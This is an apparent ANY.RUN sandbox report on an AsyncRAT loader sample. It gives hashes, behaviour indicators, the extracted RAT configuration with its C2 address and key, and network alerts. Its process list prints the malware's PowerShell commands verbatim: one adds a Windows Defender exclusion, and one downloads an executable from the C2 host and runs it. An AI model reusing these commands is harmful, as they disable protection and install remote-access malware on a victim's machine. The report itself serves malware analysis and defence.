File name:

ckuh.exe

Full analysis: https://app.any.run/tasks/49464d03-015f-4989-980a-5144a18a5a77
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Analysis date: April 27, 2025, 18:11:36
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
loader
rat
asyncrat
remote
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 11 sections
MD5:

A2980062855E3FF75037425DFE2FA1FC

SHA1:

8944685AF2705C10232E7D4FA771E6D79BF57F8D

SHA256:

326F6F4666110D3946F684FA450FA2F5E207B6FCBC6A8170A5DF22C0FCC19385

SSDEEP:

49152:D+3qxROR8YyTpHDD/WQFQAdQX7DzMMz/+Y:DRROR8YyTpHDD/WQFQAdQX7Dz1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Adds path to the Windows Defender exclusion list

      • ckuh.exe (PID: 3676)
    • Changes Windows Defender settings

      • ckuh.exe (PID: 3676)
    • Changes the autorun value in the registry

      • rbcoa.exe (PID: 8044)
    • ASYNCRAT has been detected (YARA)

      • MSBuild.exe (PID: 8184)
    • ASYNCRAT has been detected (SURICATA)

      • MSBuild.exe (PID: 8184)
    • Executing a file with an untrusted certificate

      • rbcoa.exe (PID: 8044)
  • SUSPICIOUS

    • Starts process via Powershell

      • powershell.exe (PID: 7244)
    • Reads security settings of Internet Explorer

      • ckuh.exe (PID: 3676)
    • Found IP address in command line

      • powershell.exe (PID: 7244)
    • Script adds exclusion path to Windows Defender

      • ckuh.exe (PID: 3676)
    • Reads the date of Windows installation

      • ckuh.exe (PID: 3676)
    • Starts POWERSHELL.EXE for commands execution

      • ckuh.exe (PID: 3676)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7244)
      • csc.exe (PID: 8092)
      • rbcoa.exe (PID: 8044)
    • Downloads file from URI via Powershell

      • powershell.exe (PID: 7244)
    • Connects to the server without a host name

      • powershell.exe (PID: 7244)
    • Process requests binary or script from the Internet

      • powershell.exe (PID: 7244)
    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 7244)
    • Uses WMIC.EXE to obtain computer system information

      • MSBuild.exe (PID: 8184)
    • Contacting a server suspected of hosting an CnC

      • MSBuild.exe (PID: 8184)
    • Connects to unusual port

      • MSBuild.exe (PID: 8184)
    • Accesses domain name via WMI (SCRIPT)

      • WMIC.exe (PID: 7216)
  • INFO

    • Process checks computer location settings

      • ckuh.exe (PID: 3676)
    • Reads the computer name

      • ckuh.exe (PID: 3676)
      • rbcoa.exe (PID: 8044)
      • MSBuild.exe (PID: 8184)
    • Checks supported languages

      • ckuh.exe (PID: 3676)
      • rbcoa.exe (PID: 8044)
      • cvtres.exe (PID: 8152)
      • MSBuild.exe (PID: 8184)
      • csc.exe (PID: 8092)
    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7204)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7204)
    • Checks proxy server information

      • powershell.exe (PID: 7244)
      • slui.exe (PID: 6540)
    • Reads the machine GUID from the registry

      • csc.exe (PID: 8092)
      • rbcoa.exe (PID: 8044)
      • MSBuild.exe (PID: 8184)
    • Create files in a temporary directory

      • cvtres.exe (PID: 8152)
      • rbcoa.exe (PID: 8044)
      • csc.exe (PID: 8092)
    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 7216)
    • Reads the software policy settings

      • slui.exe (PID: 7540)
      • slui.exe (PID: 6540)
      • MSBuild.exe (PID: 8184)
    • Disables trace logs

      • powershell.exe (PID: 7244)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

AsyncRat

(PID) Process(8184) MSBuild.exe
C2 (1)185.39.17.70
Ports (1)8848
VersionLoaderPanel
Options
AutoRunfalse
Mutexmjcdqgbpklgt
InstallFolder%AppData%
Certificates
Cert1MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0A...
Server_SignatureVYU3HkjTdmupf8sfvY5pEMO0/8noyMVeV0yz5jxGMUhWzUuupOWgq2wL5V2r42twsETUKLnqV9SYwqvT6XJv7xhz5pB/85fT0UoCReOgAHpFJ0so+WbBDfbpB/UzVXGoln8h2vH909hWHbCwL3+SAvPMWJx9IwIPkoMEs8mh4eg=
Keys
AESf74c3494998cde01f6f929d1ad131e3139264e2d9b70a7f185170bd2fbcbd120
SaltLoaderPanel
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:04:26 20:53:47+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.38
CodeSize: 989696
InitializedDataSize: 289280
UninitializedDataSize: -
EntryPoint: 0x31a2
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
15
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start ckuh.exe no specs powershell.exe conhost.exe no specs powershell.exe conhost.exe no specs sppextcomobj.exe no specs slui.exe rbcoa.exe csc.exe conhost.exe no specs cvtres.exe no specs #ASYNCRAT msbuild.exe wmic.exe no specs conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
3676"C:\Users\admin\AppData\Local\Temp\ckuh.exe" C:\Users\admin\AppData\Local\Temp\ckuh.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\ckuh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
6044\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exeWMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6540C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7204"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ckuh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
7212\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7216"wmic" computersystem get domainC:\Windows\SysWOW64\wbem\WMIC.exeMSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\iphlpapi.dll
7244"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri 'http://185.39.17.70/zgrnf/njg.exe' -OutFile 'C:\Windows\Temp\rbcoa.exe'; Start-Process 'C:\Windows\Temp\rbcoa.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ckuh.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
7264\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7504C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Exit code:
0
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7540"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
15 846
Read events
15 845
Write events
1
Delete events
0

Modification events

(PID) Process:(8044) rbcoa.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Shell
Value:
explorer.exe C:\Windows\Temp\xPiglS2\exp.exe
Executable files
3
Suspicious files
3
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
8092csc.exeC:\Users\admin\AppData\Local\Temp\CSCA0F3015C8B4E42CDB43A1BC734DE76F6.TMPbinary
MD5:2E3D22B9CED39779E8956D73F6C3E9DF
SHA256:042632100292E1CD14080AFFFF7C8F8CE8E8561F559A8F0A7AF00103F7D08BC7
7244powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bjwzblfo.ggr.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7204powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zx2wmra0.h15.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7244powershell.exeC:\Windows\Temp\rbcoa.exeexecutable
MD5:DB25FD7F325F5EA6CD5C0EE5F8AF8D22
SHA256:59D5DF6B32EE3F1A30281FCA62BC6FD7CECA2F561442495BA4A03A7CBEB227CD
7204powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uypvjpf4.cxd.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8044rbcoa.exeC:\Users\admin\AppData\Local\Temp\yr0tnx14.0.cstext
MD5:58B10EF6BA0DA88788F1AAC56CE7E2DB
SHA256:AE11144F426028E50E77D64A66AEB954E169F627F8ABFE403791032594834520
8152cvtres.exeC:\Users\admin\AppData\Local\Temp\RESDDB0.tmpbinary
MD5:F88ABD63CE504DE7D9037FB5F50AAD0D
SHA256:B5F117089E8B1AF23A1739F41DCEB3DCE7D6D360B1AAC1A38B1A4999C15B2660
8044rbcoa.exeC:\Windows\Temp\xPiglS2\exp.exeexecutable
MD5:DB25FD7F325F5EA6CD5C0EE5F8AF8D22
SHA256:59D5DF6B32EE3F1A30281FCA62BC6FD7CECA2F561442495BA4A03A7CBEB227CD
7244powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_o0y2i50k.fpu.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7204powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:ADFAC75E036298B7B17B2EF9D5959675
SHA256:6A9937809ADFEB26504A82B820EAE0FE1792D6AEB1BA0D4371116246A795AF4B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
25
DNS requests
17
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6544
svchost.exe
GET
200
23.54.109.203:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
GET
200
184.24.77.4:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
whitelisted
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
whitelisted
6872
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
whitelisted
6872
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
whitelisted
7244
powershell.exe
GET
200
185.39.17.70:80
http://185.39.17.70/zgrnf/njg.exe
unknown
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
whitelisted
184.24.77.4:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
whitelisted
7244
powershell.exe
185.39.17.70:80
Joint Stock Company Tagnet
RU
malicious
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.64:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
23.54.109.203:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 184.24.77.4
  • 184.24.77.9
  • 184.24.77.30
  • 184.24.77.35
  • 184.24.77.23
  • 184.24.77.38
  • 184.24.77.24
  • 184.24.77.6
  • 184.24.77.34
whitelisted
google.com
  • 142.250.186.46
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
client.wns.windows.com
  • 172.211.123.249
  • 172.211.123.248
whitelisted
login.live.com
  • 20.190.160.64
  • 20.190.160.128
  • 40.126.32.76
  • 40.126.32.133
  • 20.190.160.5
  • 20.190.160.2
  • 40.126.32.68
  • 20.190.160.4
whitelisted
ocsp.digicert.com
  • 23.54.109.203
whitelisted
slscr.update.microsoft.com
  • 172.202.163.200
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted
activation-v2.sls.microsoft.com
  • 40.91.76.224
whitelisted

Threats

PID
Process
Class
Message
7244
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
7244
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
7244
powershell.exe
Potentially Bad Traffic
ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
7244
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
7244
powershell.exe
Misc activity
ET INFO Request for EXE via Powershell
7244
powershell.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 31
7244
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
7244
powershell.exe
Misc activity
ET INFO Packed Executable Download
8184
MSBuild.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
8184
MSBuild.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
No debug info